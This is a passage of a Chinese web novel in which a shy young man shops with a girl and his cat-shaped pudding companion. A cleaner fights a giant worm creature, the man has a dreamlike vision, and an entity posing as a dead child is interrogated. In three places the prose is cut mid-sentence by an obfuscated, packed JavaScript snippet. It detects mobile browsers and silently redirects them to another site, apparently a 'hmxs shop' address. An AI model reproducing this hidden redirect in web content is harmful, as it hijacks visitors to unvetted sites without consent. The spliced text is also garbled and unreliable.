为了治社恐嘛。 总要努力尝试一下。 安浔鬼鬼祟祟地伸出手,悄悄瞄了一眼衣服标签上。 很好。 亲民的价格! 试一下! 安浔拿着一件XL码的假两件T恤,有点忐忑地走进了更衣室。 第一次。 这是记忆中,他第一次走进商业广场的更衣室。 安浔打量了一下屋内。 很宽敞的扇形空间,灯光温和,墙面洁白,靠墙处还贴心地放置了一张皮革方凳。 他关上门,坐到凳子上,外界的喧嚣被屏蔽。 “小圆。”安浔冷不丁地开口。 他抬手戳了戳一直站在他肩膀的小布丁,在柔软的表层按下几个小坑。 “从进了双华广场之后,你就一路都没说过话了。是不开心吗?” “没有喔。” 那团仿佛被按下暂停键的黑紫色布丁终于动了,w型的小猫嘴一开一合:“但是在外面的时候,最好还是不要说话。” 不要说话……? 安浔思考了一下。 哦,对对对。 因为还要晚一点才能去家居城看靠枕,所以小圆是怕自己说话会消耗不必要的电量。万一到时候没电了就不能挑靠枕了! 救命!好可爱! 它真的在期待接下来的行程! 安浔把小圆从肩膀抱下来,放在了大腿上,前后左右仔细端详了一会。 小圆:“怎么啦?” 安浔:“我在想,你一会要挑靠枕,肯定要自己看啊。就突然很好奇……你身上明明没有摄像头,平时到底是怎么看到我的?” 小圆理所当然道:“都能看见喔。” “?什么意思。”安浔没懂。 他盯着小圆Q弹的脸蛋。 虽然没有完整的五官,但有张翘起来的小猫嘴。他平时都靠嘴巴的位置来区分小圆的正反面。 “嘴巴这边是正面,尾巴那边是反面。你是想说……你不仅正面能看到我,反面其实也可以??” 吧唧。 像是为了佐证什么,小圆的嘴巴突然支棱了起来! w型的小猫嘴如同一条弯折的虫子,吧唧吧唧地蠕动着,开始沿身体的弧线攀爬。 直至绕到另一面,蛄蛹的嘴巴才堪堪停下。 安浔:“?” 感觉大脑萎缩了一下。 “按你的说法,也可以这边是正面喔。” 小圆蹦跶着转身。 当当当当—— 只见小猫嘴和尾巴已在同一面,还是上下并列的! 安浔:“?????” “就是都能看见喔。” “正反面什么的完全不影响~” 上面可爱的小嘴开开合合,下面粗长的尾巴摇摇晃晃。 摇摇摇。 摇摇摇~ 摇摇摇摇摇~~ 安浔:“……” 等一下。 这个场景是不是有点…… 就好像下面不是尾巴,而是……! 摇摇摇摇摇摇~~~ 安浔的脸颊瞬间涨红。 “不许再摇了!!!”他崩溃大喊。 小圆:“喔,好嘛。” 那条绷紧的尾巴瞬间软了,萎靡地向下垂去。 …………更像了!!! 安浔不敢再多看,匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569262|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙站起身,把小圆放在方凳上。大脑开始疯狂运转。 所以…… 嘴巴突然换了个面,这是AI机器人能做到的吗!?? 但小圆如果不是机器人那是什么?虽然它聪明机灵不智障,还温顺可爱通人性,但它可是从包装盒里拆出来的产品!还需要充电!!! 算了。 小圆的尾巴都能分裂成2的n-1次方个……纠结那么多有的没的干什么? SSR隐藏款就该这么特殊! 安浔冷静了下来。 “我、我先试一下衣服……” 他将上衣掀起小半。 当一截白皙的腰腹暴露在空气中时,他又停下动作,心情复杂地看向小圆。 “……要不,你转过去?” 小圆:“好喔。” 然后听话地把自己转到了既没嘴巴,又没尾巴的那面。 安浔:“。” 真的好怪啊。 ……不对! 它正反面都能看到!!! 安浔咬咬牙,把上衣迅速褪去,眼疾手快地盖在了小圆身上。 “我没叫你动……你你你就不许动!” “好喔~我不动。” “也不可以出声!” 衣服下那块圆鼓鼓的凸起不说话了。 试衣间总算安静了。 安浔飞快换上T恤衫,整理了一下衣领和袖口,有点紧张地出了门。 “哇哦~” 裴青青站在门口,有点新奇地围着他转了一圈。 “这种宽松版型还挺好看的。浅颜色很适合你,大哥哥。” 安浔还以为是小孩姐发力了,在为他提供情绪价值。但照了镜子后,他发现竟然真的还不错。 可能是衣服版型有层次,花纹和logo也颇具设计感,因此配上下身那条宽松的牛仔裤,竟有点像网感潮男穿搭。连他那股半死不活的气质都被掩盖了! “大哥哥,头发扎起来。” 裴青青不知从哪掏出一个橡皮筋,和他衣服还是同色系。 裴青青:“对对对,不用全扎,半扎就行……哇哦,帅!” 别说。 还真是…… 安浔有点局促。 但又忍不住多照了几下镜子。 他平时穿的不是像专业团队,就是像x缩力拉满的程序员,从未尝试过如此靓丽的服装。 竟然意外的很合适。 安浔心情舒畅地付了钱。 一旁的店员尽职尽责道:“先生,请问要帮您把标签拆掉吗?” 安浔对新衣服很满意,准备就这么穿走,于是顺嘴道: “麻烦你了,谢谢。” “好的,请您稍等。” 对话顺畅地进行下去了。 店员站在后面帮忙剪标签时,安浔也没有产生过多不适。 安浔:“……!” 难、难道…… 这就是逛街的乐趣? 作为一个社恐,他不敢想他有朝一日竟然get到了这种快乐! 自信up up up↑↑↑ “走!”安浔昂首挺胸地出了服装店,感觉自己迎来了史诗级加强。 “我们去家居城!” …… “报告严组长,目标进入了家居城。” 严祈明同步调出家居城的监控。 这小子还真就在逛街。 蚀体小姑娘截止目前也没有任何异动,纯粹逛吃逛吃,一副乐在其中的样子。 看了半天都快看困了。 搞得他像什么娃综观察员似的,一直在这玛卡巴卡,就不能来点刺激的? 对讲机又响了。 这一次,汇报人的声音无比焦急: “报告!!我们在双华广场东北方向勘测到了飙升的侵蚀系数!!!有未知蚀体正在朝我们靠近!!!” 严祈明“腾”地站了起来。 为了确保双华广场的安全,他和几名清缴者昨夜通宵巡查了这片区域,恨不得掘地三尺,连侵蚀系数仅有个位数的蚀体[浮尘]都被他们收容了。 照理来说,不该有漏网之鱼。 那么,这只蚀体是从哪冒出来的? “东北方向……” 严祈明瞄了眼显示器,顿时血压飙升。 “操!” 就是家居城!!! 19. °口°??? (19) 家居城 双华广场的家居城,在购物中心二楼。 这里一整层都是家居直营商店,各式家具产品琳琅满目。 安浔一路走马观花,总算逛到了期待已久的软装区——满满的一长排货架上,全部都是沙发靠枕! 安浔一眼就相中了其中之一。 靠枕呈小猫造型,又大又圆,通体全黑,毛茸茸的。 顶部支棱着两只黄色内芯的小猫耳朵,中间有两只圆溜溜的猫眼,还被加上了blingbling的星星状高光。 简直萌的没边了! “小圆你看!”安浔兴奋地指了指,“这个靠枕和你好像!好可爱!!” 安浔等了一会。 但并未得到回应。 “大哥哥……” 跟在他身后的裴青青用复杂的眼神盯着他,轻飘飘道:“你觉不觉得好像少了点什么?” 安浔:“?” 他看了看自己的肩膀。 没有东西。 是空的。 安浔:“!!!” 坏了! 刚才换上新衣服后直接穿走了,忘记原来的衣服和小圆都在试衣间里了!店员也没提醒他!! 他看向裴青青,有点无措:“所以你早就发现我没带着小圆了?” 裴青青双手背后,尴尬地移开视线。 “我以为你故意不带祂的。”她小声说,“刚刚我还在猜你们是不是吵架了,毕竟祂脾气不好嘛,很凶的。” 安浔当即辩解:“怎么会呢?小圆很乖很温柔的,它只是一只小猫咪啊!我们从没吵过架的!” “……嗯。” 裴青青闭了闭眼,想起昨晚爆裂的眼珠,只能干巴巴道:“尊重。祝你们幸福。” “你在这等我一会可以吗?” 安浔拿起手机看了眼时间,匆忙道:“给我五分钟,我去服装店把它带回来。我们挑完靠枕就去吃饭,绝对不影响后面的行程。” “好哦。”裴青青点点头,“去吧,大哥哥。我就在原地待着,不会乱跑的。” 安浔转身迅速跑动起来。 都怪他。 刚才在试衣间时,心情变得很微妙,所以他才别扭地把衣服甩到小圆身上,还提出了不许动也不许说话的要求。 结果他穿着新衣服就这么无知无觉地走了,小圆还在履行承诺,所以没有叫他。 啊啊啊!! 他是渣男!!!怎么能把小圆一只猫孤零零地丢在外面!!!! 小圆好,安浔坏! 安浔沿着原路返回,在向下的扶梯中小跑着,径直穿过了空旷的一楼大厅,很快跑到了购物商场的大门外—— 同一时间。 严祈明已经集结了一队人赶往现场。 蚀体是很特殊的生物。 它们潜伏在人类社会中,其本体无法被大部分人类的肉眼和普通仪器所观测。 如果出现被普通人观测到的情况,要么是蚀体已经寄生在人体内,要么就是蚀体使用了特殊能力,使自己可以被广泛目击。 但这个来势汹汹的蚀体,是本体。 截止目前,整个擎安市内只有六名清缴者,还被分散在市内的不同区域,以随时应对突发的蚀体袭击。而此时的双华广场,只有严祈明一个清缴者,其余帮手都是市内领导特批的一线警察。 这些警察们看不到蚀体,只能通过侵蚀系数勘测仪来判断周围是否存在蚀体。 一个看不见的敌人。 这对于一线警察们来说,无疑压力倍增。 “你们在周围警戒,我一个人去。” 严祈明从外套内侧掏出一个粉色荧光棒,迅速折断,握在手中。 那看起来像是很廉价的儿童玩具,几块钱就能买一大把,折断之后其内部的荧光染液就会散发瞩目的亮光。 旁边的下属偷瞄了严祈明一眼。 严祈明:“……” 每到这种场合就会很尴尬。 “荧光棒”其实是蚀体防控中心生产的一次性应急武器,内部含有一种名为[塑剑]的蚀体留下的异迹。 简单来说,就是掰断之后,荧光棒会在手中幻化成一柄激光剑,可以对蚀体造成伤害。 光散则剑消,使用时限为三十分钟。 但异迹是蚀体残留的能量印记,同样无法被普通人观测。 所以,当他挥剑的时候,在普通人眼里,就像在抓着一根荧光棒和空气斗舞。 像神志不清的精神病。 但现在没空尴尬了! 先上吧!!! 严祈明提剑向前冲去,一眼就看到了杀气腾腾的蚀体。 ——好大! 那像条长而光滑的蚯蚓,足有一层楼那么高。表皮一圈圈的褶皱上覆盖着湿滑的黏液,头部有一个黑洞般张开的圆形进食口,边缘的牙齿尖锐锋利,呈环形包裹了蚯蚓的口腔。 B级蚀体[齿蚯]。 严祈明立刻对上了号。 这种蚀体通常只会现身在无人的山野地带,游走于地表下方的深层土壤中。它们偶尔的移动可能会引起山体滑坡或是地震。 但这玩意怎么会出现在擎安市里!!! 而且还这么大一个! 如果它在市内游荡,早就已经被清缴者们联手消灭了。 但今天是擎安市被[茧幕]包裹的第四天。为什么这大长虫子才被观测到? 没时间细思,严祈明加快脚步,借助旁边的墙壁侧身起跳,持剑一跃而起! 滋——啦—— 边缘散发着芭比粉的激光剑随着飞旋在空中的人影转动,犹如高速旋转的陀螺。附带异迹的激光烧毁了齿蚯的嘴巴,原本圆形的口腔被生生撕裂为方形。 但,还不够。 “喑——!!!” 齿蚯发出刺耳的痛呼。 那张巨口上方显得仅有芝麻粒大小的两只眼球痉挛般高频眨动,身后粗长的身体触电似的扭曲,疯狂拍击着侧方的墙体。 哗啦啦。 伴随着震动,头顶的建筑已倾泻下细碎的齑粉。 严祈明咬咬牙,正要发起下一波攻势,却听旁边传来一道熟悉的—— “Prayer?” 严祈明的心瞬间凉半截。 只见本该在家居城闲逛的人,正气喘吁吁地小跑出购物商城大门,有点惊异地盯着他。 “你在……录节目?呃,是在练跳舞吗?” 安浔用一言难尽的表情看着他,想了想又努力道:“挺、挺好的。就是感觉还有很大的进步空间……” 严祈明:“。” 谢谢你不合时宜的高情商。 “安浔,你先回商城待着。” 严祈明深呼吸,来不及说不太多:“我等下和你解释,先回去,快去!!” 安浔眨了眨眼。 明显是又误会了。 “啊……那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569263|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对、对不起,是我影响你练习了,我我我这就走!!!” 话音刚落,他就顶着紧张的表情迅速跑开了。 而他跑去的方向正是—— 严祈明瞪大眼睛。 “等等!!安浔!!!!!!” 他伸出手,想要扯住安浔的衣服。 可他忽略了社恐在尴尬时所能爆发出的惊人潜能。 浅色的衣衫与他的指尖交错而过,只见那名青年迎面撞进了齿蚯的巨口! 咕咚。 伴随着一声诡异的吞咽,那道身影瞬间淹没在黑暗中。 严祈明:“。” 严祈明:“!!!!!!” 啊啊啊啊啊啊啊啊啊卧槽啊!!!!!!!!!! 严·某说唱综艺四强rapper·中俄混血大帅比·首屈一指的A级高阶清缴者·祈明原地化身尖叫鸡,当场cos起世界名画《呐喊》。 而不远处的齿蚯比他还懵比。 齿蚯:°口°??? 这咋还有饭自己撞进来呢? 不管了。 吸溜。 真香。 …… …… 安浔睁开眼。 一望无际的天空,澄澈如镜的水面。 水里倒映着无垠的蓝,安浔的双脚平稳地伫立在水面上,有点迷茫地环顾着四周。 这是哪里? 他东瞅瞅西瞅瞅,突然不知道该往哪走了。 Prayer呢? 怎么不见了? 对了。还有小圆! 小圆还在服装店的试衣间里等他,要快点去找小圆才行…… 他试探性地朝前迈开一步,水面荡起一圈圈涟漪,但脚下的触感却如履平地。 安浔有些害怕。 这里到底是…… “——嗯?” 一道疑惑的声音在耳边轻轻响起。 “!”安浔吓得一激灵,迅速转过身。 可身后空无一物。 只有看不见尽头的蓝天和定格的白云。 “嗯……” 那声音又渐渐沉了下去,像在思考。 “嗯。” 这次变成了笃定的确认声。 “是安浔吧?”那空灵的男音染上了少许笑意。 安浔惊恐地倒退了一步,这次却撞上了某种柔软的事物,几乎扑了个满怀。 “!!!”他像受惊的小动物般抬起头,巨大的阴影将他笼罩。 只见一个看不清眉眼的男人正低着头,嘴角噙着笑,饶有兴味地打量着他。 安浔一个托马斯螺旋转疯狂向后倒退数米远! 那人没动,只是抱着双臂静静地盯着他。 及腰的乌黑长发随着不知从何而来的微风轻摆,远边的白云开始悠悠移动。 安浔很快发现了异常。 随风摆动的不止男人的长发,还有头顶一对毛茸茸的漆黑猫耳。 再仔细看,男人身后分明还有一条长而柔软的猫尾,正在惬意地轻晃着。 “在看什么呢?”男人轻笑着问。 这声音…… 年轻、温和、平缓、充斥着悦耳的磁性。 安浔有些不确定地试探:“……小圆?” 男人扬起嘴角。 淡绯色唇瓣下,隐隐露出两颗洁白而尖利的虎牙。 “是喔,是我。”男人回答。 “好久不见~” 20. 我在■■等你 (20) 熟悉的声线。 还有亲昵的口吻。 没错…… 真的是小圆。 安浔咕咚咽下一口口水,胸腔内的心脏不受控地疯狂鼓动。 但是…… 但是小圆是只黑莓星空猫猫布丁啊!为什么变成人了!! 还有“好久不见”是什么意思? 他们明明刚才还在服装店里说话啊? 安浔环顾着这不符合常理的奇异空间,逐渐理解了一切。 他呢喃着:“所以,这是个梦吗?” “可以这么理解。” 那道声音又暧.昧地贴在了耳边。 安浔紧张地绷起后背。 但这次,熟悉的气息将他携裹,他没有逃离,只是拘谨地停在原地。 不知何时又站在他身后的小圆轻笑起来。 “那你应该听说过一句话吧?——梦里啥都有。” 下一秒。 安浔的双腿毫无征兆地沉入水中。 噗通!! “!!!” 他在深眇的汪洋中下坠,几簇气泡从嘴边冒出,咕噜噜地向上溢散。 眼前的发丝随着波流飘动,预想中溺水的痛苦并未出现。 相反,他竟然可以呼吸! 斑斓的热带鱼群从眼前游过,安浔新奇地观察着,澄澈的海水中,一只象牙白色的手掌缓缓向他伸来。 那只手骨节分明、指甲圆齐,掌心透出温暖的淡红色泽,衔接在后方的腕部凸起一小截醒目的青筋。 有点……性.感。 这是一只漂亮、且男性特征明显的手。 安浔不明白,他怎么会在梦里给小圆脑补出如此逼真的特征。 总觉得小圆变人后会可爱一些,小正太之类的? 这个有点太帅了! “跟我来~”那只手邀请着他。 安浔伸出手,对方予以有力的回握,将他紧紧攥在手里。 然后,他们在海中畅游。 迷幻的水母在远方吟唱,贝壳化作发光的音符,奇异的游鱼指引着他们前行。 他们升向深海又坠入高空,从柔软的云朵落向巨大的飞鹤。飞鹤在天空盘旋,将他们送往生机勃勃的樱色丛林—— duang! 安浔掉在庞大的粉红色蘑菇上,蘑菇的伞盖像蹦床,将他弹向了高耸的巨树。 巨树繁茂,叶子下结满五彩缤纷的糖果。 “可以吃喔~”小圆提示。 安浔伸手摘下一颗,打开包装纸。 微苦的香气萦绕在鼻尖,里面是一枚精致的榛果巧克力球。 “这是……” 他将展开的包装纸翻到背面,上面果然印着有点眼熟的商标。 很久以前,安浔吃过这款巧克力,是长辈从国外带回来的。但当时家里的孩子太多,他只分到了一颗。 当时有个人,把自己那颗也给了他。 安浔最后吃到了两个巧克力球。 吃过之后,就再也没有忘记它的味道。 “你怎么知道我喜欢这个?”安浔扭过头。 他不记得自己和小圆提过这茬,因为他只吃过那么一次。 小圆的声音透着得意:“秘密喔~” 好吧。 毕竟是梦嘛,梦里啥都有。 安浔将巧克力球塞进嘴里,口腔内充盈着浓厚醇香的可可味。和许多年前那个来之不易的味道完全一致,有点苦,又很甜。 他沿着蜿蜒的树枝下行,像在坐滑梯。直至他抵达末梢,冲向空中,又再度下坠—— 咚。 他落向一对有力的双臂。 一条白皙的手臂穿过他的膝窝,另一条环在他的腋下,将他整个人平稳地撑起。 安浔屏住呼吸。 耳根也莫名发烫。 好、好怪。 到底为什么会梦见小圆变成人,还公主抱他啊……! 救命! 啊啊啊真的好gay啊! 安浔偏过头。 男人顺滑的长发在风中飘逸,遮在脸前的刘海也随之散开。 安浔短暂地瞥见了小圆的眼睛—— 黑紫色的虹膜。 眼底沉淀着细碎的微芒,像容纳了星辰,如流转的银河。 安浔:“!” 看过来了。 尖锐的星形瞳孔凝视着他。 被注视的瞬间,他竟隐隐产生一种正在被野兽捕食的错觉。 安浔没来得及细究。 因为那只眼睛已再次被遮蔽在头发下。 “好玩吗?” 小圆抱着他轻盈地落回了那片天空之境。 安浔站回水面,眼睛瞪得圆圆的,既有点惊魂未定,又有些意犹未尽。 他抬起头,眸光明亮,缓缓吐出一口气: “……好玩!” 看不见脸的男人轻轻勾唇。 他伸出手,指腹轻柔拂过安浔额前的碎发,将之拢至耳后。 他沉默片刻,轻声问: “那还要继续吗?……留在这里?” “不了。”安浔摇摇头。 “虽然是一次有趣的经历,但我得走了。我还要去服装店接……唔,去接你,不能耽误太久。” 小圆停顿了一下。 转而放声大笑起来:“好喔~是该结束了,我送你回去!” 一道洁白的大门凭空显现于正前方,立于天海之间。 吱呀—— 小圆拧动门把,将那道大门轻轻拉开,露出门后的一片漆黑。 “回去吧。”小圆平和地说。 “跟着光走。” “回到你的世界去。” 一粒柔白的光点从小圆的指尖飘出,像只明亮的萤火虫,忽悠悠地飘向门后。 安浔踏入其中。 近看才发现,那粒光点其实是颗星星,正静静地浮在半空等待他,并不急于前进。 安浔有些犹豫地回头,看了一眼身后的人。 “那我走了?” 小圆朝他挥挥手,始终在微笑。嘴唇弯起的弧度还是像小猫。 安浔转身投入黑暗。 但他身后光芒依旧。门没有关闭,一道颀长的身影伫立在门边,像在守望。 再见喔,安浔。 我在■■等你。 安浔跟着那颗飘荡的星星前进,穿过伸手不见五指的廊道。不知走了多久,才终于在前方窥见一丝光亮。 是一道裂缝。 外界的光隐隐倾洒进来。 那颗引路的星星在半空转了转,随后在他的注视下撞向缝隙,又轻轻飘了回来。 安浔懂了,这是让他撞那道裂缝。 咚。 他用肩膀撞击了一下。 没什么效果。 那就再撞! 他向后退了几步,双腿发力,借着奔跑的冲力再次撞去—— 咚! 咚!! 咚!!!!!! 哗啦—— 裂缝破碎。 像一道脆弱的墙壁被彻底打破。 外界的光芒照耀在安浔的脸上。 周边破碎的“墙块”在他冲出去的一瞬化作齑粉,于风中散落。 巨大的惯性令他朝前奔跑了几步,一个踉跄后才勉强停下。 安浔眨了眨眼睛,环顾四周。 是熟悉的双华广场。 再一看旁边,是表情从抽象的惊恐,变成具象的惊恐的Prayer。 Prayer的瞳孔在地震。 整张脸上写着一个大写的懵比。 “卧槽——!!!” 他挥舞着手中的仙女荧光棒,直接语无伦次: “你……不是。诶我……你竟然从里面干掉了?那可是个B啊!!!” 安浔:“?” “……啊?” 他抬手挠挠头。 什么情况? 刚才做梦的人不是他吗? 那为什么是Prayer在说梦话? Prayer:“……” “没事。”他悄悄把荧光棒藏到身后,努力露出微笑:“你刚才什么都没看见,对吧?” 安浔:“看见了啊。” Prayer瞪大眼睛。 安浔:“看见你在练唱跳。” “网上好多人推荐你去当idol,你终于要转型了吗?” Prayer:“…………” “没有。”他闭了闭眼,“你刚才什么都没看见。求你了。” 哦哦,好的好的。 安浔严肃点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569264|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 放心吧,Prayer! 绝对不和任何人透露你要转行干男团! 总而言之。 虽然Prayer看起来还有很多话想说的样子,但毕竟人家在练跳舞,安浔自己也有急事,所以留下一句“有事我们微.信聊”就匆匆跑开了。 他赶回服装店。 店内空荡荡的,店员不知道干嘛去了。 安浔推开试衣间的门。 他之前脱下的衣服还丢在凳子上,下方圆鼓鼓的凸起保持着一动不动的状态。 “小圆!” 安浔迅速掀开那件衣服。 黑紫色的小猫布丁就这么安静地待在那,既不说话、也不动弹。 安浔愣了愣:“……小圆?” 还是不动。 如同一座冰冷的雕塑。 为什么…… 为什么不动! 安浔的心跳逐渐加快。 他惊慌失措地抱住小圆,突然想起了自己前面说的话—— 他当即道:“你、你可以动了,小圆!” 怀里的小布丁抖了抖耳朵。 安浔松了口气。 “……也可以说话了。” “好喔。” 小圆用耳朵亲昵地蹭蹭他的手腕,“你走了好久喔,都有点想你了。” 安浔:Q.Q 啊啊啊啊啊啊啊啊啊啊啊啊啊他是个混蛋臭渣男!怎么能把小猫丢下自己跑了!!! “对不起!!”安浔鞠躬。 “我、我刚才突然在路上睡着了,还做了个梦。真的好奇怪,以前也没出现过这种情况……我果然应该抽时间再去医院看看。” 小圆:“做梦?” 安浔点点头:“对。” “我刚才在梦里见到你了,你带我去了天空、大海还有森林。” 小圆:“唔……不记得有这样的事喔。但听起来还不赖。” 安浔:“毕竟是梦嘛。” “梦都是虚构的。不过我们可以约定,以后有机会就一起去看真正的天空、大海还有森林!” “好喔,就这么办~” 小圆大悦,尾巴再次摇动起来。 摇摇摇~ 摇摇摇摇~ 安浔:“。” “你等一下。” 小圆:“怎么啦?” “……先把你的嘴挪回原位。” 再看一次还是好怪啊。 这么下.流的画面,不该出现在如此可爱单纯的小猫布丁身上! Ban掉!! 安浔带着小圆回到家居城。 小圆还是像来时那样,尾巴绕在他的脖颈上,像个特殊的围脖挂件。 最后小圆挑了三个造型不一的卡通蛋糕靠枕,理由是它觉得安浔像蛋糕。 安浔表示不理解。 “我身高好歹也有一米八……你到底为什么会觉得我像小蛋糕?” 小圆:“因为你很甜很香,还和别的人类不一样,是很好很好的人喔~” 安浔:“……” 更不理解了! 后续的行程一切如常。 安浔带裴青青去私人影院点播了《钢铁侠》,中午去吃了一家火锅烤肉自助,一次性满足了她的两个要求。 下午他们在游戏厅体验了每台街机,又在隔壁射箭馆举起弓箭。 安浔发现自己居然可以把箭射到天花板上。 笑死。 这怎么不算是一种天赋异禀呢? 等离开双华广场时,天色已经黯淡,夕阳的余晖将石板路染红。 裴青青蹦蹦跶跶地跳上安浔的小电驴,伸手戴上头盔。 “今天玩的开心吗?”安浔问。 “嗯!”裴青青满足地点点头:“谢谢你,大哥哥!” 安浔启动电瓶车,引擎发出蓄势待发的嗡鸣声。 “那我的任务就要完成了。” 安浔有些感慨。 “也……谢谢你,让我度过了这么特殊的一天。” 他第一次知道。 其实逛街也可以获得纯粹的快乐,只要是和喜欢的事物待在一起。 还有就是街上一定要人少(。) 裴青青笑了起来。 “走吧,大哥哥。” “——送我去最后一站。” 21. 身体好热 (21) 在太阳落山前,安浔把裴青青送到了派出所。 负责接待的民警办事很有效率,安浔填了几张单子就被告知可以离开了。 初夏的晚风很温暖。 浑身焕然一新的女孩站在派出所门口,身后围绕着数个魁梧健硕的警察。 裴青青朝他挥挥手,和他进行了告别:“大哥哥,后会有期啦——” 安浔把小圆抱在怀里,抓着那根Q弹的尾巴朝裴青青晃了晃。 他不擅长和人结识。 也不擅长与人离别。 尽管如此,安浔还是鼓起勇气郑重道:“后、后会有期。” “很高兴能认识你,裴青青,祝愿你能够成长为自己喜欢的模样。” 裴青青又扬起一个微笑。 “我也很高兴认识你,大哥哥。” 日落西山。 夕阳渐隐于夜幕下。 [溯魂]站在原地,目送着青年离去,直至他的背影彻底消失在视平线中。 “可以了吧?给你的时间足够多了。”一道淡漠的声音。 溯魂侧过头。 只见派出所门后的白墙处,正倚靠着一名高大的男人。他抱着双臂,百无聊赖地把玩着手里的荧光棒。 看似吊儿郎当的。 但溯魂知道,从她和安浔道别开始,这个男人就在暗处警惕着她的一举一动。她只要有任何一点出格行为,那根荧光棒就会被折断,成为祓除她的杀器。 ——白毛。 安浔昨天是这么称呼他的。 溯魂很清楚,此人已经盯她一整天了。 从走入双华广场开始,就有无数视线聚焦在她的身上,时时刻刻监视着她的行为。连同这趟行程,都是他们为她布设的局。 “走吧~” 溯魂乖巧地转过身,甚至配合地抬起双手,嬉笑着问: “要把我的手铐住吗?毕竟这里是警察局~” 白毛没说话。 只是比了个手势,示意周围的下属押送她离开。 溯魂撇撇嘴:“真没趣。” “你和安浔哥哥说话时,可不是这副嘴脸。” 白毛总算张口了。 “因为安浔是我的同胞。”他眼神冰冷,“但你不是。” 溯魂耸了耸肩,不可置否。 按人类的侵蚀系数等级来划分,溯魂是排位很高的蚀体。 但它不具备直接攻击性,属于非常温和的类型。 溯魂的能力恰如其名。 它能以某人身体的一部分作为媒介,将自己“回溯”成这名人类。不仅可以塑造出别无二致的样貌,还能拥有相同的声音、记忆、思维,甚至…… 就像回溯时光,复现出了他们真正的灵魂。 当溯魂发现自己身处麟溪墓园时,它选择了“裴青青”。 那是麟溪墓园埋藏在地下的上千媒介中,最年幼的那个。 溯魂不是人。 但它偏爱人类,它总能从媒介里看到他们或长或短的一生。偶尔,也会想替他们弥补一些遗憾。 它试图逃离那座山。 可惜失败了。 整座麟溪山上都覆盖着一层浓厚的白雾。那是一种强大的屏障类蚀体,完全不输于[茧幕],溯魂出不去。 好在有个人类可以。 这个人类很特别。不仅能穿过白雾,耳朵上还留有[深渊]的异迹。通过与人类同行,她成功离开了麟溪山。 它要替裴青青弥补遗憾。 也要去向深渊,寻求一个答案。 溯魂能看到裴青青的记忆。 裴青青死于一场车祸,就在学校后门的街道上。 而原因很荒谬。 因为裴青青在那天偷买了一包辣条。 父母对裴青青要求严格,有着如山般的铁律,其中一条就是不允许她吃辣。尽管她真的很喜欢吃辣。 弱小的孩子没有力量直接反抗大人。 于是她计划着在放学时躲到学校后门的巷子里,悄悄吃掉这袋来之不易的零食。 但那天。 她在巷子里见到了父母。 他们看见她手里的东西时怒目圆睁,发出了尖锐的吼叫、埋怨、辱骂。 裴青青惊慌地扭头就跑。 她感到不甘,但更多的是不解。 不甘于她还没长大,没有力量和遮蔽在头顶的阴翳抗衡; 不解于她明明是独立的个体,为什么却要变成别人口中的模样。 当裴青青踏出逼仄的巷子时,父母的身影已被远远落在身后,连同刺耳的谩骂都像遥在天边,变成了一朵朵轻飘飘的浮云。 巷外的阳光照耀在脸上,一切都变得温暖而轻柔。 那一刻,裴青青感觉—— 她好像获得了1秒钟的自由。 然后。 她听见了卡车惊心的鸣笛。 …… 哒、哒、哒。 脚步声在黑暗中回荡。 严祈明和下属一同押送着溯魂穿过幽邃的道路,前方沉重的金属大门徐徐展开。 这里是擎安市临时设立的蚀体收容区。 位置很偏僻,藏在一处完全废弃的地下化工厂,周围杳无人烟。 并非所有蚀体都要祓除。 那些能够进行沟通且被判定无害,或是具备潜在使用价值的蚀体,都会被集中收容。这是蚀体防控中心的规定。 而严祈明必须确认。 这个跟着安浔从外面进来的蚀体,究竟抱有什么目的。 啪嗒。 审讯室苍白的灯光被打开。 “你潜入擎安市的目的是什么?” 严祈明审视着对面的身影。 防爆玻璃的另一端,坐着那名身穿棒球服的女孩。 尽管外表与人类无异。 但严祈明很清楚,这只是蚀体使用能力投映下的幻影。 “你已经看见了呀。” 女孩笑吟吟的:“穿喜欢的衣服、吃喜欢的美食、看喜欢的电影、玩喜欢的游戏。” 严祈明沉默了一下。 “……仅此而已?” “是的,仅此而已。” 他当然不会轻易相信这番说辞。 但眼下,还有一个更加复杂的问题,困扰着严祈明。 “两年前。”严祈明开口。 “两年前蚀体防控中心总部失窃了一批被收容的蚀体,你也在那批蚀体的行列之中。对吗?” “对哦,编号S-013[溯魂]。”女孩如实回答。 严祈明的眉头挑了挑。 居然真的是[溯魂]。那事情就好办了。 他语调和缓了一些:“那你这两年……” “不用问了。”溯魂打断了他。 “如果你是想了解这两年里我经历了什么,我只能遗憾地回答你:我也不知道。” “从我被从收容区带走到现在,我的记忆就一片模糊。我只隐约记得,我是被什么人投放在麟溪墓园中的。” 